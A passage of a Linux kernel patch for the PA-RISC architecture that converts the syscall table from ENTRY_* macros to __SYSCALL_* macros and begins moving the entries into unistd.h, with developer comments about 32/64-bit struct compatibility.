+#define __SYSCALL_SAME(nr,_name_) .dword sys_##_name_
+#define __SYSCALL_DIFF(nr,_name_) .dword sys_##_name_
+#define __SYSCALL_UHOH(nr,_name_) .dword sys_##_name_
+#define __SYSCALL_OURS(nr,_name_) .dword sys_##_name_
+#define __SYSCALL_COMP(nr,_name_) .dword sys_##_name_
 #else
-#define ENTRY_SAME(_name_) .word sys_##_name_
-#define ENTRY_DIFF(_name_) .word sys_##_name_
-#define ENTRY_UHOH(_name_) .word sys_##_name_
-#define ENTRY_OURS(_name_) .word parisc_##_name_
-#define ENTRY_COMP(_name_) .word sys_##_name_
+#define __SYSCALL_SAME(nr,_name_) .word sys_##_name_
+#define __SYSCALL_DIFF(nr,_name_) .word sys_##_name_
+#define __SYSCALL_UHOH(nr,_name_) .word sys_##_name_
+#define __SYSCALL_OURS(nr,_name_) .word parisc_##_name_
+#define __SYSCALL_COMP(nr,_name_) .word sys_##_name_
 #endif
 
-	ENTRY_SAME(restart_syscall)	/* 0 */
-	ENTRY_SAME(exit)
-	ENTRY_SAME(fork_wrapper)
-	ENTRY_SAME(read)
-	ENTRY_SAME(write)
-	ENTRY_SAME(open)		/* 5 */
-	ENTRY_SAME(close)
-	ENTRY_SAME(waitpid)
-	ENTRY_SAME(creat)
-	ENTRY_SAME(link)
-	ENTRY_SAME(unlink)		/* 10 */
-	ENTRY_DIFF(execve_wrapper)
-	ENTRY_SAME(chdir)
-	/* See comments in kernel/time.c!!! Maybe we don't need this? */
-	ENTRY_COMP(time)
-	ENTRY_SAME(mknod)
-	ENTRY_SAME(chmod)		/* 15 */
-	ENTRY_SAME(lchown)
-	ENTRY_SAME(socket)
-	/* struct stat is MAYBE identical wide and narrow ?? */
-	ENTRY_COMP(newstat)
-	ENTRY_DIFF(lseek)
-	ENTRY_SAME(getpid)		/* 20 */
-	/* the 'void * data' parameter may need re-packing in wide */
-	ENTRY_COMP(mount)
-	/* concerned about struct sockaddr in wide/narrow */
-	/* ---> I think sockaddr is OK unless the compiler packs the struct */
-	/*      differently to align the char array */
-	ENTRY_SAME(bind)
-	ENTRY_SAME(setuid)
-	ENTRY_SAME(getuid)
-	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_SAME(ptrace)
-	ENTRY_SAME(alarm)
-	/* see stat comment */
-	ENTRY_COMP(newfstat)
-	ENTRY_SAME(pause)
-	/* struct utimbuf uses time_t which might vary */
-	ENTRY_COMP(utime)		/* 30 */
-	/* struct sockaddr... */
-	ENTRY_SAME(connect)
-	ENTRY_SAME(listen)
-	ENTRY_SAME(access)
-	ENTRY_SAME(nice)
-	/* struct sockaddr... */
-	ENTRY_SAME(accept)		/* 35 */
-	ENTRY_SAME(sync)
-	ENTRY_SAME(kill)
-	ENTRY_SAME(rename)
-	ENTRY_SAME(mkdir)
-	ENTRY_SAME(rmdir)		/* 40 */
-	ENTRY_SAME(dup)
-	ENTRY_SAME(pipe)
-	ENTRY_COMP(times)
-	/* struct sockaddr... */
-	ENTRY_SAME(getsockname)
-	/* it seems possible brk() could return a >4G pointer... */
-	ENTRY_SAME(brk)			/* 45 */
-	ENTRY_SAME(setgid)
-	ENTRY_SAME(getgid)
-	ENTRY_SAME(signal)
-	ENTRY_SAME(geteuid)
-	ENTRY_SAME(getegid)		/* 50 */
-	ENTRY_SAME(acct)
-	ENTRY_SAME(umount)
-	/* struct sockaddr... */
-	ENTRY_SAME(getpeername)
-	ENTRY_COMP(ioctl)
-	ENTRY_COMP(fcntl)		/* 55 */
-	ENTRY_SAME(socketpair)
-	ENTRY_SAME(setpgid)
-	ENTRY_SAME(send)
-	ENTRY_OURS(newuname)
-	ENTRY_SAME(umask)		/* 60 */
-	ENTRY_SAME(chroot)
-	ENTRY_SAME(ustat)
-	ENTRY_SAME(dup2)
-	ENTRY_SAME(getppid)
-	ENTRY_SAME(getpgrp)		/* 65 */
-	ENTRY_SAME(setsid)
-	ENTRY_SAME(pivot_root)
-	/* I don't like this */
-	ENTRY_UHOH(sgetmask)
-	ENTRY_UHOH(ssetmask)
-	ENTRY_SAME(setreuid)		/* 70 */
-	ENTRY_SAME(setregid)
-	ENTRY_SAME(mincore)
-	ENTRY_COMP(sigpending)
-	ENTRY_SAME(sethostname)
-	/* Following 3 have linux-common-code structs containing longs -( */
-	ENTRY_COMP(setrlimit)		/* 75 */
-	ENTRY_COMP(getrlimit)
-	ENTRY_COMP(getrusage)
-	/* struct timeval and timezone are maybe?? consistent wide and narrow */
-	ENTRY_DIFF(gettimeofday)
-	ENTRY_DIFF(settimeofday)
-	ENTRY_SAME(getgroups)		/* 80 */
-	ENTRY_SAME(setgroups)
-	/* struct socketaddr... */
-	ENTRY_SAME(sendto)
-	ENTRY_SAME(symlink)
-	/* see stat comment */
-	ENTRY_COMP(newlstat)
-	ENTRY_SAME(readlink)		/* 85 */
-	ENTRY_SAME(ni_syscall)	/* was uselib */
-	ENTRY_SAME(swapon)
-	ENTRY_SAME(reboot)
-	ENTRY_SAME(mmap2)
-	ENTRY_SAME(mmap)		/* 90 */
-	ENTRY_SAME(munmap)
-	ENTRY_SAME(truncate)
-	ENTRY_SAME(ftruncate)
-	ENTRY_SAME(fchmod)
-	ENTRY_SAME(fchown)		/* 95 */
-	ENTRY_SAME(getpriority)
-	ENTRY_SAME(setpriority)
-	ENTRY_SAME(recv)
-	ENTRY_COMP(statfs)
-	ENTRY_COMP(fstatfs)		/* 100 */
-	ENTRY_SAME(stat64)
-	ENTRY_SAME(ni_syscall)	/* was socketcall */
-	ENTRY_SAME(syslog)
-	/* even though manpage says struct timeval contains longs, ours has
-	 * time_t and suseconds_t -- both of which are safe wide/narrow */
-	ENTRY_COMP(setitimer)
-	ENTRY_COMP(getitimer)		/* 105 */
-	ENTRY_SAME(capget)
-	ENTRY_SAME(capset)
-	ENTRY_OURS(pread64)
-	ENTRY_OURS(pwrite64)
-	ENTRY_SAME(getcwd)		/* 110 */
-	ENTRY_SAME(vhangup)
-	ENTRY_SAME(fstat64)
-	ENTRY_SAME(vfork_wrapper)
-	/* struct rusage contains longs... */
-	ENTRY_COMP(wait4)
-	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_COMP(sysinfo)
-	ENTRY_SAME(shutdown)
-	ENTRY_SAME(fsync)
-	ENTRY_SAME(madvise)
-	ENTRY_SAME(clone_wrapper)	/* 120 */
-	ENTRY_SAME(setdomainname)
-	ENTRY_DIFF(sendfile)
-	/* struct sockaddr... */
-	ENTRY_SAME(recvfrom)
-	/* struct timex contains longs */
-	ENTRY_COMP(adjtimex)
-	ENTRY_SAME(mprotect)		/* 125 */
-	/* old_sigset_t forced to 32 bits.  Beware glibc sigset_t */
-	ENTRY_COMP(sigprocmask)
-	ENTRY_SAME(ni_syscall)	/* create_module */
-	ENTRY_SAME(init_module)
-	ENTRY_SAME(delete_module)
-	ENTRY_SAME(ni_syscall)		/* 130: get_kernel_syms */
-	/* time_t inside struct dqblk */
-	ENTRY_SAME(quotactl)
-	ENTRY_SAME(getpgid)
-	ENTRY_SAME(fchdir)
-	ENTRY_SAME(bdflush)
-	ENTRY_SAME(sysfs)		/* 135 */
-	ENTRY_OURS(personality)
-	ENTRY_SAME(ni_syscall)	/* for afs_syscall */
-	ENTRY_SAME(setfsuid)
-	ENTRY_SAME(setfsgid)
-	/* I think this might work */
-	ENTRY_SAME(llseek)		/* 140 */
-	/* struct linux_dirent has longs, like 'unsigned long d_ino' which
-	 * almost definitely should be 'ino_t d_ino' but it's too late now */
-	ENTRY_DIFF(getdents)
-	/* it is POSSIBLE that select will be OK because even though fd_set
-	 * contains longs, the macros and sizes are clever. */
-	ENTRY_COMP(select)
-	ENTRY_SAME(flock)
-	ENTRY_SAME(msync)
-	/* struct iovec contains pointers */
-	ENTRY_COMP(readv)		/* 145 */
-	ENTRY_COMP(writev)
-	ENTRY_SAME(getsid)
-	ENTRY_SAME(fdatasync)
-	/* struct __sysctl_args is a mess */
-	ENTRY_DIFF(sysctl)
-	ENTRY_SAME(mlock)		/* 150 */
-	ENTRY_SAME(munlock)
-	ENTRY_SAME(mlockall)
-	ENTRY_SAME(munlockall)
-	/* struct sched_param is ok for now */
-	ENTRY_SAME(sched_setparam)
-	ENTRY_SAME(sched_getparam)	/* 155 */
-	ENTRY_SAME(sched_setscheduler)
-	ENTRY_SAME(sched_getscheduler)
-	ENTRY_SAME(sched_yield)
-	ENTRY_SAME(sched_get_priority_max)
-	ENTRY_SAME(sched_get_priority_min)	/* 160 */
-	/* These 2 would've worked if someone had defined struct timespec
-	 * carefully, like timeval for example (which is about the same).
-	 * Unfortunately it contains a long :-( */
-	ENTRY_DIFF(sched_rr_get_interval)
-	ENTRY_COMP(nanosleep)
-	ENTRY_SAME(mremap)
-	ENTRY_SAME(setresuid)
-	ENTRY_SAME(getresuid)		/* 165 */
-	ENTRY_DIFF(sigaltstack_wrapper)
-	ENTRY_SAME(ni_syscall)		/* query_module */
-	ENTRY_SAME(poll)
-	/* structs contain pointers and an in_addr... */
-	ENTRY_COMP(nfsservctl)
-	ENTRY_SAME(setresgid)		/* 170 */
-	ENTRY_SAME(getresgid)
-	ENTRY_SAME(prctl)
-	/* signals need a careful review */
-	ENTRY_SAME(rt_sigreturn_wrapper)
-	ENTRY_DIFF(rt_sigaction)
-	ENTRY_DIFF(rt_sigprocmask)	/* 175 */
-	ENTRY_DIFF(rt_sigpending)
-	ENTRY_COMP(rt_sigtimedwait)
-	/* even though the struct siginfo_t is different, it appears like
-	 * all the paths use values which should be same wide and narrow.
-	 * Also the struct is padded to 128 bytes which means we don't have
-	 * to worry about faulting trying to copy in a larger 64-bit
-	 * struct from a 32-bit user-space app.
-	 */
-	ENTRY_COMP(rt_sigqueueinfo)
-	ENTRY_COMP(rt_sigsuspend)
-	ENTRY_SAME(chown)		/* 180 */
-	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
-	ENTRY_COMP(setsockopt)
-	ENTRY_COMP(getsockopt)
-	ENTRY_COMP(sendmsg)
-	ENTRY_COMP(recvmsg)
-	ENTRY_SAME(semop)		/* 185 */
-	ENTRY_SAME(semget)
-	ENTRY_DIFF(semctl)
-	ENTRY_DIFF(msgsnd)
-	ENTRY_DIFF(msgrcv)
-	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_SAME(msgctl)
-	ENTRY_SAME(shmat)
-	ENTRY_SAME(shmdt)
-	ENTRY_SAME(shmget)
-	ENTRY_SAME(shmctl)		/* 195 */
-	ENTRY_SAME(ni_syscall)		/* streams1 */
-	ENTRY_SAME(ni_syscall)		/* streams2 */
-	ENTRY_SAME(lstat64)
-	ENTRY_OURS(truncate64)
-	ENTRY_OURS(ftruncate64)		/* 200 */
-	ENTRY_SAME(getdents64)
-	ENTRY_COMP(fcntl64)
-	ENTRY_SAME(ni_syscall)	/* attrctl -- dead */
-	ENTRY_SAME(ni_syscall)	/* acl_get -- dead */
-	ENTRY_SAME(ni_syscall)		/* 205 (acl_set -- dead) */
-	ENTRY_SAME(gettid)
-	ENTRY_OURS(readahead)
-	ENTRY_SAME(tkill)
-	ENTRY_SAME(sendfile64)
-	ENTRY_COMP(futex)		/* 210 */
-	ENTRY_COMP(sched_setaffinity)
-	ENTRY_COMP(sched_getaffinity)
-	ENTRY_SAME(ni_syscall)	/* set_thread_area */
-	ENTRY_SAME(ni_syscall)	/* get_thread_area */
-	ENTRY_SAME(io_setup)		/* 215 */
-	ENTRY_SAME(io_destroy)
-	ENTRY_SAME(io_getevents)
-	ENTRY_SAME(io_submit)
-	ENTRY_SAME(io_cancel)
-	ENTRY_SAME(alloc_hugepages)	/* 220 */
-	ENTRY_SAME(free_hugepages)
-	ENTRY_SAME(exit_group)
-	ENTRY_DIFF(lookup_dcookie)
-	ENTRY_SAME(epoll_create)
-	ENTRY_SAME(epoll_ctl)		/* 225 */
-	ENTRY_SAME(epoll_wait)
- 	ENTRY_SAME(remap_file_pages)
-	ENTRY_SAME(semtimedop)
-	ENTRY_SAME(mq_open)
-	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_SAME(mq_timedsend)
-	ENTRY_SAME(mq_timedreceive)
-	ENTRY_SAME(mq_notify)
-	ENTRY_SAME(mq_getsetattr)
-	ENTRY_COMP(waitid)		/* 235 */
-	ENTRY_OURS(fadvise64_64)
-	ENTRY_SAME(set_tid_address)
-	ENTRY_SAME(setxattr)
-	ENTRY_SAME(lsetxattr)
-	ENTRY_SAME(fsetxattr)		/* 240 */
-	ENTRY_SAME(getxattr)
-	ENTRY_SAME(lgetxattr)
-	ENTRY_SAME(fgetxattr)
-	ENTRY_SAME(listxattr)
-	ENTRY_SAME(llistxattr)		/* 245 */
-	ENTRY_SAME(flistxattr)
-	ENTRY_SAME(removexattr)
-	ENTRY_SAME(lremovexattr)
-	ENTRY_SAME(fremovexattr)
-	ENTRY_COMP(timer_create)	/* 250 */
-	ENTRY_COMP(timer_settime)
-	ENTRY_COMP(timer_gettime)
-	ENTRY_SAME(timer_getoverrun)
-	ENTRY_SAME(timer_delete)
-	ENTRY_COMP(clock_settime)	/* 255 */
-	ENTRY_COMP(clock_gettime)
-	ENTRY_COMP(clock_getres)
-	ENTRY_COMP(clock_nanosleep)
-	ENTRY_SAME(tgkill)
-	ENTRY_COMP(mbind)		/* 260 */
-	ENTRY_COMP(get_mempolicy)
-	ENTRY_COMP(set_mempolicy)
-	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
-	ENTRY_SAME(add_key)
-	ENTRY_SAME(request_key)		/* 265 */
-	ENTRY_SAME(keyctl)
-	ENTRY_SAME(ioprio_set)
-	ENTRY_SAME(ioprio_get)
-	ENTRY_SAME(inotify_init)
-	ENTRY_SAME(inotify_add_watch)	/* 270 */
-	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(migrate_pages)
-	ENTRY_COMP(pselect6)
-	ENTRY_COMP(ppoll)
-	ENTRY_COMP(openat)		/* 275 */
-	ENTRY_SAME(mkdirat)
-	ENTRY_SAME(mknodat)
-	ENTRY_SAME(fchownat)
-	ENTRY_COMP(futimesat)
-	ENTRY_SAME(fstatat64)		/* 280 */
-	ENTRY_SAME(unlinkat)
-	ENTRY_SAME(renameat)
-	ENTRY_SAME(linkat)
-	ENTRY_SAME(symlinkat)
-	ENTRY_SAME(readlinkat)		/* 285 */
-	ENTRY_SAME(fchmodat)
-	ENTRY_SAME(faccessat)
-	ENTRY_SAME(unshare)
-	ENTRY_COMP(set_robust_list)
-	ENTRY_COMP(get_robust_list)	/* 290 */
-	ENTRY_SAME(splice)
-	ENTRY_OURS(sync_file_range)
-	ENTRY_SAME(tee)
-	ENTRY_COMP(vmsplice)
-	ENTRY_COMP(move_pages)		/* 295 */
-	ENTRY_SAME(getcpu)
-	ENTRY_SAME(epoll_pwait)
-	ENTRY_COMP(statfs64)
-	ENTRY_COMP(fstatfs64)
-	ENTRY_COMP(kexec_load)		/* 300 */
-	ENTRY_COMP(utimensat)
-	ENTRY_COMP(signalfd)
-	ENTRY_COMP(timerfd)
-	ENTRY_SAME(eventfd)
+/* include syscall table */
+#undef _ASM_PARISC_UNISTD_H_
+#include <asm/unistd.h>
 
-	/* Nothing yet */
 
-#undef ENTRY_SAME
-#undef ENTRY_DIFF
-#undef ENTRY_UHOH
-#undef ENTRY_COMP
-#undef ENTRY_OURS
+#undef __SYSCALL_SAME
+#undef __SYSCALL_DIFF
+#undef __SYSCALL_UHOH
+#undef __SYSCALL_COMP
+#undef __SYSCALL_OURS
diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
index f74099b..a64862e 100644
--- a/include/asm-parisc/unistd.h
+++ b/include/asm-parisc/unistd.h
@@ -5,6 +5,7 @@
  * This file contains the system call numbers.
  */
 
+
 /*
  *   HP-UX system calls get their native numbers for binary compatibility.
  */
@@ -489,322 +490,676 @@
  * from the kernel at startup, which seems a sane strategy.
  */
 
+#ifndef __SYSCALL_SAME
+#define __SYSCALL_SAME(a,b)
+#define __SYSCALL_DIFF(a,b)
+#define __SYSCALL_UHOH(a,b)
+#define __SYSCALL_OURS(a,b)
+#define __SYSCALL_COMP(a,b)
+#endif
+
+
 #define __NR_Linux                0
-#define __NR_restart_syscall      (__NR_Linux + 0)
-#define __NR_exit                 (__NR_Linux + 1)
-#define __NR_fork                 (__NR_Linux + 2)
-#define __NR_read                 (__NR_Linux + 3)
-#define __NR_write                (__NR_Linux + 4)
-#define __NR_open                 (__NR_Linux + 5)
-#define __NR_close                (__NR_Linux + 6)
-#define __NR_waitpid              (__NR_Linux + 7)
-#define __NR_creat                (__NR_Linux + 8)
-#define __NR_link                 (__NR_Linux + 9)
-#define __NR_unlink              (__NR_Linux + 10)
-#define __NR_execve              (__NR_Linux + 11)
-#define __NR_chdir               (__NR_Linux + 12)
-#define __NR_time                (__NR_Linux + 13)
-#define __NR_mknod               (__NR_Linux + 14)
-#define __NR_chmod               (__NR_Linux + 15)
-#define __NR_lchown              (__NR_Linux + 16)
-#define __NR_socket              (__NR_Linux + 17)
-#define __NR_stat                (__NR_Linux + 18)
-#define __NR_lseek               (__NR_Linux + 19)
-#define __NR_getpid              (__NR_Linux + 20)
-#define __NR_mount               (__NR_Linux + 21)
-#define __NR_bind                (__NR_Linux + 22)
-#define __NR_setuid              (__NR_Linux + 23)
-#define __NR_getuid              (__NR_Linux + 24)
-#define __NR_stime               (__NR_Linux + 25)
-#define __NR_ptrace              (__NR_Linux + 26)
-#define __NR_alarm               (__NR_Linux + 27)
-#define __NR_fstat               (__NR_Linux + 28)
-#define __NR_pause               (__NR_Linux + 29)
-#define __NR_utime               (__NR_Linux + 30)
-#define __NR_connect             (__NR_Linux + 31)
-#define __NR_listen              (__NR_Linux + 32)
-#define __NR_access              (__NR_Linux + 33)
-#define __NR_nice                (__NR_Linux + 34)
-#define __NR_accept              (__NR_Linux + 35)
-#define __NR_sync                (__NR_Linux + 36)
-#define __NR_kill                (__NR_Linux + 37)
-#define __NR_rename              (__NR_Linux + 38)
-#define __NR_mkdir               (__NR_Linux + 39)
-#define __NR_rmdir               (__NR_Linux + 40)
-#define __NR_dup                 (__NR_Linux + 41)
-#define __NR_pipe                (__NR_Linux + 42)
-#define __NR_times               (__NR_Linux + 43)
-#define __NR_getsockname         (__NR_Linux + 44)
-#define __NR_brk                 (__NR_Linux + 45)
-#define __NR_setgid              (__NR_Linux + 46)
-#define __NR_getgid              (__NR_Linux + 47)
-#define __NR_signal              (__NR_Linux + 48)
-#define __NR_geteuid             (__NR_Linux + 49)
-#define __NR_getegid             (__NR_Linux + 50)
-#define __NR_acct                (__NR_Linux + 51)
-#define __NR_umount2             (__NR_Linux + 52)
-#define __NR_getpeername         (__NR_Linux + 53)
-#define __NR_ioctl               (__NR_Linux + 54)
-#define __NR_fcntl               (__NR_Linux + 55)
-#define __NR_socketpair          (__NR_Linux + 56)
-#define __NR_setpgid             (__NR_Linux + 57)
-#define __NR_send                (__NR_Linux + 58)
-#define __NR_uname               (__NR_Linux + 59)
-#define __NR_umask               (__NR_Linux + 60)
-#define __NR_chroot              (__NR_Linux + 61)
-#define __NR_ustat               (__NR_Linux + 62)
-#define __NR_dup2                (__NR_Linux + 63)
-#define __NR_getppid             (__NR_Linux + 64)
-#define __NR_getpgrp             (__NR_Linux + 65)
-#define __NR_setsid              (__NR_Linux + 66)
-#define __NR_pivot_root          (__NR_Linux + 67)
-#define __NR_sgetmask            (__NR_Linux + 68)
-#define __NR_ssetmask            (__NR_Linux + 69)
-#define __NR_setreuid            (__NR_Linux + 70)
-#define __NR_setregid            (__NR_Linux + 71)
-#define __NR_mincore             (__NR_Linux + 72)
-#define __NR_sigpending          (__NR_Linux + 73)
-#define __NR_sethostname         (__NR_Linux + 74)
-#define __NR_setrlimit           (__NR_Linux + 75)
-#define __NR_getrlimit           (__NR_Linux + 76)
-#define __NR_getrusage           (__NR_Linux + 77)
-#define __NR_gettimeofday        (__NR_Linux + 78)
-#define __NR_settimeofday        (__NR_Linux + 79)
-#define __NR_getgroups           (__NR_Linux + 80)
-#define __NR_setgroups           (__NR_Linux + 81)
-#define __NR_sendto              (__NR_Linux + 82)
-#define __NR_symlink             (__NR_Linux + 83)
-#define __NR_lstat               (__NR_Linux + 84)
-#define __NR_readlink            (__NR_Linux + 85)
-#define __NR_uselib              (__NR_Linux + 86)
-#define __NR_swapon              (__NR_Linux + 87)
-#define __NR_reboot              (__NR_Linux + 88)
-#define __NR_mmap2             (__NR_Linux + 89)
-#define __NR_mmap                (__NR_Linux + 90)
-#define __NR_munmap              (__NR_Linux + 91)
-#define __NR_truncate            (__NR_Linux + 92)
-#define __NR_ftruncate           (__NR_Linux + 93)
-#define __NR_fchmod              (__NR_Linux + 94)
-#define __NR_fchown              (__NR_Linux + 95)
-#define __NR_getpriority         (__NR_Linux + 96)
-#define __NR_setpriority         (__NR_Linux + 97)
-#define __NR_recv                (__NR_Linux + 98)
-#define __NR_statfs              (__NR_Linux + 99)
-#define __NR_fstatfs            (__NR_Linux + 100)
-#define __NR_stat64           (__NR_Linux + 101)
-/* #define __NR_socketcall         (__NR_Linux + 102) */
-#define __NR_syslog             (__NR_Linux + 103)
-#define __NR_setitimer          (__NR_Linux + 104)
-#define __NR_getitimer          (__NR_Linux + 105)
-#define __NR_capget             (__NR_Linux + 106)
-#define __NR_capset             (__NR_Linux + 107)
-#define __NR_pread64            (__NR_Linux + 108)
-#define __NR_pwrite64           (__NR_Linux + 109)
-#define __NR_getcwd             (__NR_Linux + 110)
-#define __NR_vhangup            (__NR_Linux + 111)
-#define __NR_fstat64            (__NR_Linux + 112)
-#define __NR_vfork              (__NR_Linux + 113)
-#define __NR_wait4              (__NR_Linux + 114)
-#define __NR_swapoff            (__NR_Linux + 115)
-#define __NR_sysinfo            (__NR_Linux + 116)
-#define __NR_shutdown           (__NR_Linux + 117)
-#define __NR_fsync              (__NR_Linux + 118)
-#define __NR_madvise            (__NR_Linux + 119)
-#define __NR_clone              (__NR_Linux + 120)
-#define __NR_setdomainname      (__NR_Linux + 121)
-#define __NR_sendfile           (__NR_Linux + 122)
-#define __NR_recvfrom           (__NR_Linux + 123)
-#define __NR_adjtimex           (__NR_Linux + 124)
-#define __NR_mprotect           (__NR_Linux + 125)
-#define __NR_sigprocmask        (__NR_Linux + 126)
-#define __NR_create_module      (__NR_Linux + 127)
-#define __NR_init_module        (__NR_Linux + 128)
-#define __NR_delete_module      (__NR_Linux + 129)
-#define __NR_get_kernel_syms    (__NR_Linux + 130)
-#define __NR_quotactl           (__NR_Linux + 131)
-#define __NR_getpgid            (__NR_Linux + 132)
-#define __NR_fchdir             (__NR_Linux + 133)
-#define __NR_bdflush            (__NR_Linux + 134)
-#define __NR_sysfs              (__NR_Linux + 135)
-#define __NR_personality        (__NR_Linux + 136)
-#define __NR_afs_syscall        (__NR_Linux + 137) /* Syscall for Andrew File System */
-#define __NR_setfsuid           (__NR_Linux + 138)
-#define __NR_setfsgid           (__NR_Linux + 139)
-#define __NR__llseek            (__NR_Linux + 140)
-#define __NR_getdents           (__NR_Linux + 141)
-#define __NR__newselect         (__NR_Linux + 142)
-#define __NR_flock              (__NR_Linux + 143)
-#define __NR_msync              (__NR_Linux + 144)
-#define __NR_readv              (__NR_Linux + 145)
-#define __NR_writev             (__NR_Linux + 146)
-#define __NR_getsid             (__NR_Linux + 147)
-#define __NR_fdatasync          (__NR_Linux + 148)
-#define __NR__sysctl            (__NR_Linux + 149)
-#define __NR_mlock              (__NR_Linux + 150)
-#define __NR_munlock            (__NR_Linux + 151)
-#define __NR_mlockall           (__NR_Linux + 152)
-#define __NR_munlockall         (__NR_Linux + 153)
-#define __NR_sched_setparam             (__NR_Linux + 154)
-#define __NR_sched_getparam             (__NR_Linux + 155)
-#define __NR_sched_setscheduler         (__NR_Linux + 156)
-#define __NR_sched_getscheduler         (__NR_Linux + 157)
-#define __NR_sched_yield                (__NR_Linux + 158)
-#define __NR_sched_get_priority_max     (__NR_Linux + 159)
-#define __NR_sched_get_priority_min     (__NR_Linux + 160)
-#define __NR_sched_rr_get_interval      (__NR_Linux + 161)
-#define __NR_nanosleep          (__NR_Linux + 162)
-#define __NR_mremap             (__NR_Linux + 163)
-#define __NR_setresuid          (__NR_Linux + 164)
-#define __NR_getresuid          (__NR_Linux + 165)
-#define __NR_sigaltstack        (__NR_Linux + 166)
-#define __NR_query_module       (__NR_Linux + 167)
-#define __NR_poll               (__NR_Linux + 168)
-#define __NR_nfsservctl         (__NR_Linux + 169)
-#define __NR_setresgid          (__NR_Linux + 170)
-#define __NR_getresgid          (__NR_Linux + 171)
-#define __NR_prctl              (__NR_Linux + 172)
-#define __NR_rt_sigreturn       (__NR_Linux + 173)
-#define __NR_rt_sigaction       (__NR_Linux + 174)
-#define __NR_rt_sigprocmask     (__NR_Linux + 175)
-#define __NR_rt_sigpending      (__NR_Linux + 176)
-#define __NR_rt_sigtimedwait    (__NR_Linux + 177)
-#define __NR_rt_sigqueueinfo    (__NR_Linux + 178)
-#define __NR_rt_sigsuspend      (__NR_Linux + 179)
-#define __NR_chown              (__NR_Linux + 180)
-#define __NR_setsockopt         (__NR_Linux + 181)
-#define __NR_getsockopt         (__NR_Linux + 182)
-#define __NR_sendmsg            (__NR_Linux + 183)
-#define __NR_recvmsg            (__NR_Linux + 184)
-#define __NR_semop              (__NR_Linux + 185)
-#define __NR_semget             (__NR_Linux + 186)
-#define __NR_semctl             (__NR_Linux + 187)
-#define __NR_msgsnd             (__NR_Linux + 188)
-#define __NR_msgrcv             (__NR_Linux + 189)
-#define __NR_msgget             (__NR_Linux + 190)
-#define __NR_msgctl             (__NR_Linux + 191)
-#define __NR_shmat              (__NR_Linux + 192)
-#define __NR_shmdt              (__NR_Linux + 193)
-#define __NR_shmget             (__NR_Linux + 194)
-#define __NR_shmctl             (__NR_Linux + 195)
-
-#define __NR_getpmsg		(__NR_Linux + 196) /* Somebody *wants* streams? */
-#define __NR_putpmsg		(__NR_Linux + 197)
-
-#define __NR_lstat64            (__NR_Linux + 198)
-#define __NR_truncate64         (__NR_Linux + 199)
-#define __NR_ftruncate64        (__NR_Linux + 200)
-#define __NR_getdents64         (__NR_Linux + 201)
-#define __NR_fcntl64            (__NR_Linux + 202)
-#define __NR_attrctl            (__NR_Linux + 203)
-#define __NR_acl_get            (__NR_Linux + 204)
-#define __NR_acl_set            (__NR_Linux + 205)
-#define __NR_gettid             (__NR_Linux + 206)
-#define __NR_readahead          (__NR_Linux + 207)
-#define __NR_tkill              (__NR_Linux + 208)
-#define __NR_sendfile64         (__NR_Linux + 209)
-#define __NR_futex              (__NR_Linux + 210)
-#define __NR_sched_setaffinity  (__NR_Linux + 211)
-#define __NR_sched_getaffinity  (__NR_Linux + 212)
-#define __NR_set_thread_area    (__NR_Linux + 213)
-#define __NR_get_thread_area    (__NR_Linux + 214)
-#define __NR_io_setup           (__NR_Linux + 215)
-#define __NR_io_destroy         (__NR_Linux + 216)
-#define __NR_io_getevents       (__NR_Linux + 217)
-#define __NR_io_submit          (__NR_Linux + 218)
-#define __NR_io_cancel          (__NR_Linux + 219)
-#define __NR_alloc_hugepages    (__NR_Linux + 220)
-#define __NR_free_hugepages     (__NR_Linux + 221)
-#define __NR_exit_group         (__NR_Linux + 222)
-#define __NR_lookup_dcookie     (__NR_Linux + 223)
-#define __NR_epoll_create       (__NR_Linux + 224)
-#define __NR_epoll_ctl          (__NR_Linux + 225)
-#define __NR_epoll_wait         (__NR_Linux + 226)
-#define __NR_remap_file_pages   (__NR_Linux + 227)
-#define __NR_semtimedop         (__NR_Linux + 228)
-#define __NR_mq_open            (__NR_Linux + 229)
-#define __NR_mq_unlink          (__NR_Linux + 230)
-#define __NR_mq_timedsend       (__NR_Linux + 231)
-#define __NR_mq_timedreceive    (__NR_Linux + 232)
-#define __NR_mq_notify          (__NR_Linux + 233)
-#define __NR_mq_getsetattr      (__NR_Linux + 234)
-#define __NR_waitid		(__NR_Linux + 235)
-#define __NR_fadvise64_64	(__NR_Linux + 236)
-#define __NR_set_tid_address	(__NR_Linux + 237)
-#define __NR_setxattr		(__NR_Linux + 238)
-#define __NR_lsetxattr		(__NR_Linux + 239)
-#define __NR_fsetxattr		(__NR_Linux + 240)
-#define __NR_getxattr		(__NR_Linux + 241)
-#define __NR_lgetxattr		(__NR_Linux + 242)
-#define __NR_fgetxattr		(__NR_Linux + 243)
-#define __NR_listxattr		(__NR_Linux + 244)
-#define __NR_llistxattr		(__NR_Linux + 245)
-#define __NR_flistxattr		(__NR_Linux + 246)
-#define __NR_removexattr	(__NR_Linux + 247)
-#define __NR_lremovexattr	(__NR_Linux + 248)
-#define __NR_fremovexattr	(__NR_Linux + 249)
-#define __NR_timer_create	(__NR_Linux + 250)
-#define __NR_timer_settime	(__NR_Linux + 251)
-#define __NR_timer_gettime	(__NR_Linux + 252)
-#define __NR_timer_getoverrun	(__NR_Linux + 253)
-#define __NR_timer_delete	(__NR_Linux + 254)
-#define __NR_clock_settime	(__NR_Linux + 255)
-#define __NR_clock_gettime	(__NR_Linux + 256)
-#define __NR_clock_getres	(__NR_Linux + 257)
-#define __NR_clock_nanosleep	(__NR_Linux + 258)
-#define __NR_tgkill		(__NR_Linux + 259)
-#define __NR_mbind		(__NR_Linux + 260)
-#define __NR_get_mempolicy	(__NR_Linux + 261)
-#define __NR_set_mempolicy	(__NR_Linux + 262)
-#define __NR_vserver		(__NR_Linux + 263)
-#define __NR_add_key		(__NR_Linux + 264)
-#define __NR_request_key	(__NR_Linux + 265)
-#define __NR_keyctl		(__NR_Linux + 266)
-#define __NR_ioprio_set		(__NR_Linux + 267)
-#define __NR_ioprio_get		(__NR_Linux + 268)
-#define __NR_inotify_init	(__NR_Linux + 269)
